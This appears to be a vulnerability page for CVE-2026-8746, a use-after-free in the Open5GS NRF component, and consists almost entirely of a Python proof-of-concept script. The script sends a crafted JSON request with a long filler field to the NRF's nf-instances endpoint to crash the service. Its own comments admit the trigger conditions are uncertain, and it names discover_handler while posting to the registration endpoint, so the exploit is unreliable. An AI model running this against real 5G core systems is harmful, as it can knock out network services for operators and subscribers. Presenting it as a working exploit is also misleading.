CVE-2026-8746 Open5GS NRF组件释放后重用漏洞

# PoC for Open5GS NRF UAF Vulnerability (CVE-2026-8746) # This script demonstrates sending a malformed request to trigger the UAF in discover_handler. import requests def trigger_uaf(target_ip, target_port): target_url = f"http://{target_ip}:{target_port}/nnrf-nfm/v1/nf-instances" # Malformed payload designed to disrupt memory handling in discover_handler # Note: Actual trigger conditions may require specific NF types or message sequences malformed_headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-8746-PoC" } payload = { "nfInstanceId": "manipulated-id-12345", "nfType": "AMF", "nfStatus": "REGISTERED", # Additional fields might be needed to specifically hit the freed memory path "customData": "A" * 1000 } try: print(f"[*] Attempting to trigger UAF at {target_url}") response = requests.post(target_url, json=payload, headers=malformed_headers, timeout=5) print(f"[+] Request sent. Status Code: {response.status_code}") print("[*] Check the Open5GS NRF service logs for crashes.") except Exception as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": # Replace with actual target details trigger_uaf("127.0.0.1", 7777)